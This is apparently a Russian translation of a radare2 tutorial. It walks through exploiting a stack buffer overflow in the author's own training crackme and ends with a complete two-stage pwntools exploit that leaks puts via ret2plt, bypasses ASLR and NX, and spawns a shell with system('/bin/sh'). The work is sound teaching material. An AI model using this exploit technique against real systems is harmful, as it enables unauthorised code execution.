R0 CREW

Знакомство с Radare 2 — Часть вторая: эксплуатация

Оригинал: megabeets.net

Пролог

Добро пожаловать обратно во вторую часть нашего путешествия по внутренностям radare2! В этой части мы уделим больше внимания фишкам radare2, обратив внимание на эксплуатацию бинарных уязвимостей.

Многие из вас ждали второй части, так вот она здесь! Надеюсь опубликую следующую часть намного, намного быстрее. Если вы не читали первую часть этой серии, то я крайне рекомендую сделать это. Она описывается основы radare2 и объясняет множество команд, которые я буду использовать здесь.

В этой части серии мы будем фокусироваться эксплуатации простого бинарника. У radare2 есть множество фич, которые помогают нам в эксплуатации, таких как такие как определение методов противодействия техникам эксплуатации (exploit mitigation detection); поиск ROP-гаджетов; генерация случайной последовательности символов (аналогичная тому, что есть в Metasploit pattern_create.rb); разыменовывание указателей регистров (register telescoping) для отображения содержимого, на которое они ссылаются и не только. Вы можете найти справку по командам в конце этого поста. Сегодня я покажу вам некоторые из этих крутых фич, и мы вместе будем использовать radare2, чтобы обойти защиту от исполнения на бинарнике на системе, где включена ASLR. Я полагаю, что вы уже знакомы со следующими темами:

Это реально важно быть знакомыми со всеми этими топиками, потому что я не буду ни углубляться в них, ни даже кратко описывать некоторые из них.

Обновление radare2

Прежде всего, давайте обновим нашу radare2 до самой новейшей версии из гита:

$ git clone [url]https://github.com/radare/radare2.git[/url] # clone radare2 if you didn't do it yet for some reason.
$ cd radare2
$ ./sys/install.sh

У нас осталось большое путешествие позади, так что пока мы ждем обновления radare, давайте получим приток мотивации – милые видео с котиками!

https://www.youtube.com/watch?v=PHAc3_MEjgQ

Знакомимся с нашим бинарником

Вы можете загрузить наш бинарник здесь, а исходник его тут.

Если вы хотите скомпилировать исходник самостоятельно, то используйте следующую команду:

$ gcc -m32 megabeets_0x2.c -o megabeets_0x2

Наш бинарник в этот раз очень похож на бинарник из предыдущего поста с очень небольшими изменениями в main() функции:

  • Скомпилирован без флага -z exectac, чтобы включить бит NX
  • Получает пользовательские данные из scanf и не использует аргументы программы для этого
  • Использует по большей части функцию puts для выведения текста на экран
  • Небольшие изменения в выхлопе программы

Таким был прошлый main():

int main(int argc, char *argv[])
{
    printf("\n  .:: Megabeets ::.\n");
    printf("Think you can make it?\n");
    if (argc >= 2 && beet(argv[1]))
    {
        printf("Success!\n\n");
    }
    else
        printf("Nop, Wrong argument.\n\n");
 
    return 0;
}

А теперь main выглядит так:

int main(int argc, char *argv[])
{
    char *input; 
    puts("\n  .:: Megabeets ::.\n");
    puts("Show me what you got:");
    
    scanf("%ms", &input);
    if (beet(input))
    {
        printf("Success!\n\n");
    }
    else
        puts("Nop, Wrong argument.\n\n");
 
    return 0;
}

Функционал бинарника очень прост, и мы обсуждали это в прошлом посте, он ожидает от пользователя входных данных, производит над входными данными алгоритм rot13, сравнивает это с результатом rot13 над строкой “Megabeets”. То есть входные данные должны быть ‘Zrtnorrgf’.

$ ./megabeets_0x2 
 
  .:: Megabeets ::.
 
Show me what you got:
blablablabla
Nop, Wrong argument.
 
$ ./megabeets_0x2 
 
  .:: Megabeets ::.
 
Show me what you got:
Zrtnorrgf
Success!

Все это хорошо, но сегодня наш пост не про крэкинг простого крекми, а про эксплуатирование его. Вуху! Давайте приступим к работе.

Понимание уязвимости

Как и с каждой задачей по эксплуатации, это всегда хорошая привычка проверять бинарник на имплементацию механизмов защиты. Мы можем сделать это с помощью rabin2, который я демонстрировал в прошлом посте или просто запустив это внутри консоли radare. Поскольку мы не открыли еще бинарник с помощью radare, мы воспользуемся методом rabin2:

$ rabin2 -I megabeets_0x2
 
arch     x86
binsz    6072
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
static   false
stripped false
subsys   linux
va       true

Как вы можете видеть по выделенным строкам, у бираника включена защита бита NX, что значит мы не сможем использовать стек для исполненяи кода. Более того, исполняемый файл не защищен с помощью canaries, pic или relro.

Пришла пора пройти сквозь всю программу, в этот раз мы будем смотреть на дизассемблированный код (у нас не всегда будет исходный код). Откройте программу в режиме дебага, используя radare2

$ r2 -d megabeets_0x2
Process with PID 20859 started…
= attach 20859 20859
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32– Your endian swaps

[0xf7782b30]> aas
  • -d – Открыть в дебаг режиме
  • aas – Анализировать функции, символы и другое

Теперь продолжим процесс исполнения программы, пока не достигнем main. Мы можем легко это сделать, используя dcu main:

[0xf7797b30]> dcu?
|Usage: dcu Continue until address
| dcu address      Continue until address
| dcu [..tail]     Continue until the range
| dcu [from] [to]  Continue until the range

[0xf7797b30]> dcu main
Continue until 0x08048658 using 1 bpsize
hit breakpoint at: 8048658

Теперь давайте перейдем в графический режим с помощью команды VV. Как было объяснено в первой части, вы можете можете менять тип визуального режима с помощью клавиш p и P, передвигаться внутри влево, вниз, вверх, вправо используя кнопки h/j/k/l соответственно и прыгать функцию используя кнопку g и букву показанную рядом с вызываемой функцией (т.е. gd)

Используйте “?”, чтобы вывести все команды доступные в графическом режиме и будьте уверены не пропустить команду R ;-).

main() это функция, где наша программа просит нас ввести данные (с помощью scanf() ) и затем отправляет введенные данные в sym.beet. Нажимая gc, мы можем прыгнуть в функцию beet(), которая работает с нашими данными:

Мы можем видеть, что пользовательский ввод [arg_8h] копируется в буфер ([local_88h]) и тогда, также как мы видели это в предыдущем посте, строка Megabeets шифруется с помощью rot13 и результат сравнивается нашим входными данными. Мы видели это ранее, так что я не буду объяснять это далее. Вы заметили кое-что подозрительное? Размер наших входных данных нигде не проверяется и копируется как есть в буфер. Это значит, что если мы введем входные данные больше, чем размер буфера, то это приведет к переполнению буфера и смещению стэка. Та-дам! Мы нашли нашу уязвимость.

Генерирование пэйлоада

Сейчас мы обнаружили уязвимую функцию, нам нужно аккуратно создать пейлоад для нее. Наша цель просто получить доступ к оболочке на системе. Во-первых, нам нужно нужно подтвердить, что здесь действительно есть уязвимая функция и затем мы найдем смещение, по которому наш пейлоад перепишет стэк.

Мы будем использовать инструмент из фреймворка radare, который называется ragg2, он позволяет нам генерировать циклический шаблон называемый Последовательность де Брёйна и проверяет точное смещение, где наш пейлоад перезаписывает буфер.

$ ragg2 -
<truncated>
 -P {size}       prepend debruijn pattern
<truncated>
 -r              show raw bytes instead of hexpairs
<truncated>
 
$ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh

Мы знаем, что наш бинарник получает пользовательский ввод с помощью stdin, и вместо того чтобы делать копипаст нашего инпута в консоль, мы можем воспользоваться еще одним инструментов из набора radare, который называется rarun2.

Нам нужно проделать следующие три шага:

  • Написать последовательность де Брейна в файла с помощью ragg2
  • Создать rarun2 файл конфигурации и выставить выходные данные rarun2 как входные
  • Позволить radare2 творить его магию и найти смещение
$ ragg2 -P 200 -r > pattern.txt
$ cat pattern.txt
AAABAACAADAAEAAFAAGAAHAAI… <truncated> …7AA8AA9AA0ABBABCABDABEABFA
 
$ vim profile.rr2
 
$ cat profile.rr2
#!/usr/bin/rarun2
stdin=./pattern.txt
 
$ r2 -r profile.rr2 -d megabeets_0x2
Process with PID 21663 started…
= attach 21663 21663
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
 
— Use rarun2 to launch your programs with a predefined environment.
[0xf77c2b30]> dc
Selecting and continuing: 21663
 
.:: Megabeets ::.
 
Show me what you got?
child stopped with signal 11
 
[0x41417641]>

Мы запустили наш бинарник, передали содержимое pattern.txt в stdin с помощью rarun2 и получили SIGSEV 11.

Вы заметили, что сейчас наша консоль указывает на адрес 0x41417641? Это некорректный адрес который отражает символы ‘AAvA’ (ascii little-endian), фрагмент из нашего паттерна. radare позволяет нам найти смещение в заданном значении шаблона де Брёйна.

[0x41417641]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr]  Write a De Bruijn Pattern of length ‘len’ at address ‘addr’
| wopO value         Finds the given value into a De Bruijn Pattern at current offset

[0x41417641]> wopO dr eip
140

Теперь мы знаем, что перезапись адреса возврата происходит после 140 байтов, мы можем начать создавать эксплоит.

Создание эксплоита

Как я писал пару раз до этого, этот пост не про обучение основам эксплуатации, он нацелен показать как radare2 может быть использован для эксплуатации бинарных уязвимостей с использованием множества команд и инструментов из фреймворка. Таким образом, в этот раз я не буду погружать вас в каждую часть нашего эксплоита. Наша цель заспавнить консоль на работающей системе. Есть много путей для этого, особенно в такой бинарной уязвимости как наша. Чтобы понять, что мы должны делать, во-первых, вы должны понимать, что мы не должны делать. Наша машина защищена с помощью ASLR, так что мы не можем предугадать адрес, где libc будет загружена в память. Прощай ret2libc. В дополнении, наш бинарник защищен с помощью бита NX, что означает, что наш стэк не исполняемый, так что мы не можем просто отправить шеллкод в стэк и прыгнуть в него.

Хотя эти защиты препятствуют нам использование техник эксплуатации, они не панацея, и мы с легкостью можем скрафтить пейлоад, чтобы обойти их. Чтобы собрать наш эксплоит, нам нужно более аккуратно посмотреть на библиотеки и функции, которые бинарник предлагает нам. Давайте запустим бинарник в дебаг режим еще раз и обратим внимание на библиотеки и функции, которые он использует. Начнем с библиотек:

$ r2 -d megabeets_0x2
Process with PID 23072 started…
= attach 23072 23072
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— You haxor! Me jane?

[0xf7763b30]> il
[Linked libraries]
libc.so.61 library

il расшифровывается как Information libraries и показывает нам библиотеки, которые бинарник использует. В нашем случае только одна библиотека – наша любимая libc.

Теперь давайте взглянем на импортированные функции, исполнив команду ii, которая расшифровывается, как вы правильно догадываетесь, Information Imports. Мы можем также добавить q к нашей команде, чтобы получить менее подробный выхлоп:

[0xf7763b30]> ii
[Imports]
ordinal=001 plt=0x08048370 bind=GLOBAL type=FUNC name=strcmp
ordinal=002 plt=0x08048380 bind=GLOBAL type=FUNC name=strcpy
ordinal=003 plt=0x08048390 bind=GLOBAL type=FUNC name=puts
ordinal=004 plt=0x00000000 bind=WEAK type=NOTYPE name=__gmon_start__
ordinal=005 plt=0x080483a0 bind=GLOBAL type=FUNC name=__libc_start_main
ordinal=006 plt=0x080483b0 bind=GLOBAL type=FUNC name=__isoc99_scanf6 imports

[0xf7763b30]> iiq
strcmp
strcpy
puts
__gmon_start__
__libc_start_main
__isoc99_scanf

Ох прелестно! У нас есть puts и scanf, мы можем воспользоваться фактом того, что мы можем контролировать эти две функции для создания чистого эксплоита. Наш эксплоит использует тот факт, что мы можем контролировать работу программу (помните, что возврат программы оказывалось смещение из нашего паттерна?), и мы можем попробовать запустить system("/bin/sh"), чтобы получить шелл.

План

  • Слить реальный адрес puts
  • Подсчитать базовый адрес libc
  • Подсчитать адрес system
  • Найти адрес libc, который содержит строку /bin/sh
  • Вызвать system с /bin/sh и заспавнить шелл

Слив адреса функции puts

Чтобы слить реальный адрес puts мы будем использовать технику, которая называется ret2plt. Таблица компоновки процедур (The Procedure Linkage Table) – структура в памяти, которая содержит код-заглушки для внешних функций, чьи адреса неизвестны на время линковки. Всякий раз, когда мы видим CALL инструкцию для функции в сегменте .text, мы не вызываем функцию напрямую. Вместо этого мы зовем код заглушки из PLT, скажем func_name@plt. Заглушка затем прыгает в адрес определенный в Глобальной Таблице Смещений (Global Offset Table). Если это первый CALL этой функции, то GOT вернет назад указатель на PLT, который в свою очередь будет вызывать динамический линковщик, который будет резолвить реальный адрес желаемой функции. В следующий раз, когда func_name@plt будет вызвана, заглушка напрямую получит адрес функции из GOT. Для того, чтобы почитать больше о процессе линковки, я крайне рекомендую эту серию статьей о линковщик от Ian Lance Taylor.

Для того, чтобы сделать это, мы найдем адрес puts в PLT и GOT, и затем сделаем call puts@got с puts@plt в качестве параметра. Мы сделаем цепочку вызовов и отправим их в нашу программу в месте, где scanf ожидает ввода данных. И затем получим энтрипоинт для второй стадии нашего эксплоита. Что произойдет, так это puts напишет нам реальный адрес себя же – магия!

+---------------------+
|       Stage 1       |
+---------------------+
| padding (140 bytes) |
| puts@plt            |
| entry_point         |
| puts@got            |
+---------------------+

Для написания эксплоита мы воспользуемся pwnlib фреймворком (прим. переводчика: внимание данный фреймворк требует python 2.7!), который мой самый любимый питон фреймворк для заданий по эксплуатации. Он упрощает множества вещей и делает нашу жизнь проще. Вы можете использовать любой другой метод, который предпочитаете.

Чтобы установить pwntools используйте pip:

$ pip install --upgrade pip
$ pip install --upgrade pwntools

Вы можете прочесть больше о pwntools в официальной документации

Это скелет программы на питоне для нашей первой стадии:

from pwn import *
 
# Addresses
puts_plt =
puts_got =
entry_point =
 
# context.log_level = "debug"
 
def main():
    
    # open process
    p = process("./megabeets_0x2")
 
    # Stage 1
    
    # Initial payload
    payload  =  "A"*140 # padding
    ropchain =  p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
 
    payload = payload + ropchain
 
    p.clean()
    p.sendline(payload)
 
    # Take 4 bytes of the output
    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)
    p.clean()
  
 
if __name__ == "__main__":
    main()

Нам нужно заполнить адреса puts@plt, puts@got и энтрипоинта нашей программы. Давайте вернемся назад в radare2 и исполним следующие команды. Символ # используется для комментирования, а символ ~ внутренний grep radare2.

[0xf7763b30]> # the address of puts@plt:
[0xf7763b30]> ?v sym.imp.puts
0x08048390

[0xf7763b30]> # the address of puts@got:
[0xf7763b30]> ?v reloc.puts_20
0x0804a014

[0xf7763b30]> # the address of program’s entry point (entry0):
[0xf7763b30]> ieq
0x080483d0

sym.imp.puts and reloc.puts – флаги, которые radare автоматически детектировал. Команда ie расшифровывается как Information Entrypoint.

Теперь мы можем заполнить адреса, которые мы нашли:

...
 
# Addresses
puts_plt = 0x8048390
puts_got = 0x804a014
entry_point = 0x80483d0
 
...

Давайте запустим скрипт:

$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23578
[*] puts is at: 0xf75db710
[*] Stopped process ‘./megabeets_0x2’ (pid 23578)
 
$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23592
[*] puts is at: 0xf7563710
[*] Stopped process ‘./megabeets_0x2’ (pid 23592)
 
$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 23606
[*] puts is at: 0xf75e3710
[*] Stopped process ‘./megabeets_0x2’ (pid 23606)

Я запустил скрипт три траза, чтобы показать вам как меняется адрес puts после каждого запуска. Поэтому мы не можем предугадать адрес puts заранее. Теперь нам нужно найти смещения puts в libc и подсчитать базовый адрес libc. После того, как мы получим базовый адрес, мы можем подсчитать реальный адрес system. exit, “/bin/sh”, используя их смещения.

Скелет нашей программы теперь такой:

from pwn import *
 
# Addresses
puts_plt = 0x8048390
puts_got = 0x804a014
entry_point = 0x80483d0
 
# Offsets
offset_puts = 
offset_system = 
offset_str_bin_sh = 
offset_exit = 
 
# context.log_level = "debug"
 
def main():
    
    # open process
    p = process("./megabeets_0x2")
 
    # Stage 1
    
    # Initial payload
    payload  =  "A"*140
    ropchain =  p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
 
    payload = payload + ropchain
 
    p.clean()
    p.sendline(payload)
 
    # Take 4 bytes of the output
    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)
    
    p.clean()
    
    # Calculate libc base
 
    libc_base = leak - offset_puts
    log.info("libc base: 0x%x" % libc_base)
 
    # Stage 2
    
    # Calculate offsets
    system_addr = libc_base + offset_system
    binsh_addr = libc_base + offset_str_bin_sh
    exit_addr = libc_base  + offset_exit
 
    log.info("system: 0x%x" % system_addr)
    log.info("binsh: 0x%x" % binsh_addr)
    log.info("exit: 0x%x" % exit_addr)
 
if __name__ == "__main__":
    main()

Подсчет реального адреса

Пожалуйста, заметьте, что в этой части статьи, мои результаты могут быть другими, чем ваши. Это скорее всего потому что у нас разные версии libc, таким образом смещения не будут такими же.

Во-первых, нам нужно найти смещение puts от базового адреса libc. Снова давайте откроем radare2 и продолжим исполнение программы, пока мы не достигнем энтрипоинта. Мы должны сделать это, потому что radare2 начинает свой дебаг, прежде чем libc загрузится. Когда мы достигнем энтрипоинта, библиотека точно должна быть загружена.

Давайте воспользуемся dmi командой и отправим ей libc и желаемую функцию. Я добавил немного grep магии (~), чтобы показать только релевантную строку.

$ r2 -d megabeets_0x2
Process with PID 24124 started…
= attach 24124 24124
bin.baddr 0x08048000
Using 0x8048000
Assuming filepath /home/beet/Desktop/Security/r2series/0x2/megabeets_0x2
asm.bits 32
— A C program is like a fast dance on a newly waxed dance floor by people carrying razors – Waldi Ravens

[0xf771ab30]> dcu entry0
Continue until 0x080483d0 using 1 bpsize
hit breakpoint at: 80483d0

[0x080483d0]> dmi libc puts~ puts$
vaddr=0xf758f710 paddr=0x00062710 ord=6490 fwd=NONE sz=474 bind=GLOBAL type=FUNC name=puts

[0x080483d0]> dmi libc system~ system$
vaddr=0xf7569060 paddr=0x0003c060 ord=6717 fwd=NONE sz=55 bind=WEAK type=FUNC name=system

[0x080483d0]> dmi libc exit~ exit$
vaddr=0xf755c180 paddr=0x0002f180 ord=5904 fwd=NONE sz=33 bind=LOCAL type=FUNC name=exit

Пожалуйста, заметьте, что формат выходных данных dmi изменился с момента публикации статьи. Результат исполнения вашей программы должен выглядеть несколько иначе.

Прим. переводчика: в нашем случае выхлоп dmi будет примерно таким:

[0x080483d0]> dmi libc system~ system$
1510 0x0003cd10 [B]0xf7dafd10[/B]   WEAK   FUNC   55 system 

Замечу, что смещение, которое мы ищем в данном выхлопе, – именно второе hex-число (выделил для большей наглядности).

Все эти paddr=0x000xxxxx просто смещения функций от базового адреса libc. Пришло время найти ссылку на “/bin/sh” в программе. Для этого давайте воспользуемся возможностями поиска в radare. По-умолчанию radare ищет в dbg.map, которая представляет текущую карту памяти. Мы хотим искать во всех картах памяти, так что мы должны настроить это:

[0x080483d0]> e search.in = dbg.maps

Вы можете увидеть большей опций, если исполните команду e search.in=? Чтобы сконфигурировать radare в графическом режиме, используйте Ve.

Поиск в radare выполняется с помощью команды /. Давайте посмотрим какие нам предлагаются radare опции для поиска:

|Usage: /[amx/] [arg]Search stuff (see ‘e??search’ for options)
| / foo\x00           search for string ‘foo\0’
| /j foo\x00          search for string ‘foo\0’ (json output)
| /! ff               search for first occurrence not matching
| /+ /bin/sh          construct the string with chunks
| /!x 00              inverse hexa search (find first byte != 0x00)
| //                  repeat last search
| /h[t] [hash] [len]  find block matching this hash. See /#?
| /a jmp eax          assemble opcode and search its bytes
| /A jmp              find analyzed instructions of this type (/A? for help)
| /b                  search backwards
| /B                  search recognized RBin headers
| /c jmp [esp]        search for asm code
| /C[ar]              search for crypto materials
| /d 101112           search for a deltified sequence of bytes
| /e /E.F/i           match regular expression
| /E esil-expr        offset matching given esil expressions %%= here
| /f file [off] [sz]  search contents of file with offset and size
| /i foo              search for string ‘foo’ ignoring case
| /m magicfile        search for matching magic file (use blocksize)
| /o                  show offset of previous instruction
| /p patternsize      search for pattern of given size
| /P patternsize      search similar blocks
| /r[e] sym.printf    analyze opcode reference an offset (/re for esil)
| /R [?] [grepopcode] search for matching ROP gadgets, semicolon-separated
| /v[1248] value      look for an cfg.bigendian 32bit value
| /V[1248] min max    look for an cfg.bigendian 32bit value in range
| /w foo              search for wide string ‘f\0o\0o\0’
| /wi foo             search for wide string ignoring case ‘f\0o\0o\0’
| /x ff..33           search for hex string ignoring some nibbles
| /x ff0033           search for hex string
| /x ff43 ffd0        search for hexpair with mask
| /z min max          search for strings of given size

Потрясающее количество возможностей. Заметьте тут есть /R команда для поиска ROP гаджетов. Печально, но мы не будем покрывать вопрос ROP в этом посте, но те из вас, кто пишут эксплоиты, полюбят эту тулзу.

Нам не нужно ничего причудливого, так что давайте осуществим простейший поиск. После этого мы найдем, где в этом текущем исполнении [I]libc[/ I] был загружен на (dmm), а затем мы вычислим смещение «/bin/sh».

[0x080483d0]> / /bin/sh
Searching 7 bytes from 0x08048000 to 0xffd50000: 2f 62 69 6e 2f 73 68
Searching 7 bytes in [0x8048000-0x8049000]
hits: 0
Searching 7 bytes in [0x8049000-0x804a000]
hits: 0 <..truncated..> Searching 7 bytes in [0xf77aa000-0xf77ab000]
hits: 0
Searching 7 bytes in [0xffd2f000-0xffd50000]
hits: 0
0xf7700768 hit1_0 .b/strtod_l.c-c/bin/shexit 0canonica.

r2 нашел “/bin/sh” в памяти, давайте подсчитаем его смещение от базового адреса libc:

[0x080483d0]> dmm~libc
0xf7599000 /usr/lib32/libc-2.25.so

[0x080483d0]> ?X 0xf7700768-0xf7599000
167768

Мы нашли смещение /bin/sh" от базы libc – 0x167768. Давайте заполним это в наш эксплоит и приступим к следующей части.

Прим. переводчика: Заметьте, что мы вычитаем именно из смещения базовый адрес libc. Также вам надо проделать и с остальными типа exit, system, puts по образцу выше с помощью dmi и ?X, как и предупреждал дисклеймер в начале адреса действительно отличаются у каждого на системе.

... # 
Offsets offset_puts = 0x00062710 
offset_system = 0x0003c060 
offset_exit = 0x0002f1b0 
offset_str_bin_sh = 0x167768
 ...

Открытие оболочки

Вторая часть нашего эксплоита очень проста. Мы снова будем использовать 140 байтов для пэддинга входных данных, затем мы вызовем system с адресом "/bin/sh"в качестве параметера и вернемся на exit.

+---------------------+
|       Stage 2       |
+---------------------+
| padding (140 bytes) |
| system@libc         |
| exit@libc           |
| /bin/sh address     |
+---------------------+

Помните, что мы возвращались в энтрипоинт в прошлый раз? Это значит что scanf ожидает нашего ввода снова. Сейчас все что нам нужно это цепочка этих вызовов, отправленных в программу.

Это финалдьный скрипт. Как я упомянул ранее, вам нужно заменить смещения на те, что совподают с вашей версией libc.

from pwn import *
 
# Addresses
puts_plt = 0x8048390
puts_got = 0x804a014
entry_point = 0x80483d0
 
# Offsets
offset_puts = 0x00062710 
offset_system = 0x0003c060 
offset_exit = 0x0002f1b0
offset_str_bin_sh = 0x167768 
 
# context.log_level = "debug"
 
def main():
    
    # open process
    p = process("./megabeets_0x2")
 
    # Stage 1
    
    # Initial payload
    payload  =  "A"*140
    ropchain =  p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
 
    payload = payload + ropchain
 
    p.clean()
    p.sendline(payload)
 
    # Take 4 bytes of the output
    leak = p.recv(4)
    leak = u32(leak)
    log.info("puts is at: 0x%x" % leak)
    p.clean()
    
    # Calculate libc base
    libc_base = leak - offset_puts
    log.info("libc base: 0x%x" % libc_base)
 
    # Stage 2
    
    # Calculate offsets
    system_addr = libc_base + offset_system
    exit_addr = libc_base  + offset_exit
    binsh_addr = libc_base + offset_str_bin_sh
 
    log.info("system is at: 0x%x" % system_addr)
    log.info("/bin/sh is at: 0x%x" % binsh_addr)
    log.info("exit is at: 0x%x" % exit_addr)
 
    # Build 2nd payload
    payload2  =  "A"*140
    ropchain2 =  p32(system_addr)
    ropchain2 += p32(exit_addr)
    # Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)
    #           Then you'll execute system("sh")
    ropchain2 += p32(binsh_addr) 
 
    payload2 = payload2 + ropchain2
    p.sendline(payload2)
 
    log.success("Here comes the shell!")
 
    p.clean()
    p.interactive()
 
if __name__ == "__main__":
    main()

Когда вы запустите этот эксплоит, он успешно вадаст вам приглашение в консоль:

$ python exploit.py
[+] Starting local process ‘./megabeets_0x2’: pid 24410
[*] puts is at: 0xf75db710
[*] libc base: 0xf75ce000
[*] system is at: 0xf760a060
[*] /bin/sh is at: 0xf7735768
[*] exit is at: 0xf75fd1b0
[+] Here comes the shell!
[*] Switching to interactive mode:
  
$ whoami
beet
$ echo EOF
EOF

Эпилог

Вот и вторая часть нашего путешествия с radare2 подошла к концу. Мы изучили лишь ореховую скорлупу возможностей эксплуатации radare2. В следующих частях мы изучим больше о возможностях radare2, включая скриптинг и исследование малвари. Я боюсь., что это тяжело для начала понять всю мощь radare2 или почему вы должны оставить позади некоторые свои привычки (gdb-peda) и начать работать с radare2. Наличие radare2 в вашем инструментарии – очень умный шаг, являетесь ли вы ревер инженером, эксплоитописателем, игроком в CTF, или просто энтузиастом в области безопасности.

Превыше всего я хотел бы поблагодарить Pancake, человека стоящего за radare2, создавшего эту впечатляющую тулзу свободной и открытой, и своих замечательных друзей в radare2 сообществе, которые посвятили свое время для помощи, улучшения и продвижения фреймворка.

Пожалуйста, оставляйте комментарии или сообщения приватно, если нечто неверно, неаккуратно, требует дополнительного разъяснения, или вы попросту этого не поняли. Не стесняйтесь делиться своими мыслями со мной.

Справка по командам

Это список команд, которые я упомянал в этом посте (и немного более). Вы можете это использовать как справку.

Собираем информацию

  • $ rabin2 -I ./program — информация о бинарнике (тоже самое что и из radare2 консоли)
  • ii [q] – импорты
  • ?v sym.imp.func_name — получить адрес func_name@PLT
  • ?v reloc.func_name — получить адрес func_name@GOT
  • ie [q] — получить адрес энтрипоинт программы (q – для более короткого выхлопа)
  • iS — показать секции с правами (r/x/w)
  • i~canary — проверить canary
  • i~pic — проверить является ли код независимым от адреса
  • i~nx — скомпилирован ли с NX

Память

  • dm — показать карты памяти
  • dmm — показать модули (библиотеки, бинарники загруженные в память)
  • dmi [addr|libname] [symname] — показать символы указанной библиотеки

Поиск

  • e search.* — редактировать конфигурацию поиска
  • /? — показать сабкоманды поиска
  • / string — искать строку в памяти/бинарнике
  • /R [?] — искать ROP гаджеты
  • /R/ — Искать ROP с помощью регулярок

Дебаг

  • dc — Продолжить исполнение
  • dcu addr – Продолжить испполнение до адреса
  • dcr — Продолжить исполнение до возврата (используется step over)
  • dbt [?] — показать бэктрейс основанный на dbg.btdepth and dbg.btalgo
  • doo [args] — открыть в режиме дебага с аргументами
  • ds — Переместиться на одну инструкцию вперед
  • dso — Step over

Режим псевдографики

  • pdf @ addr — Напечатать ассемблерный код заданной функции в заданном смещении
  • V — Визуальный режим, используйте p/P чтобы переключаться между режимами
  • VV — еще один визуальный режим в виде разветвленного дерева, навигация с помощью ASCII графики
  • V! — псевдографический режим панелей. Очень полезный для эксплуатации

Посмотрите этот пост в блоге radare2, чтобы увидеть больше команд, которые могут быть полезны.

© Translated by [URL="https://t.me/cynically"]Cynically[/URL] special for r0 Crew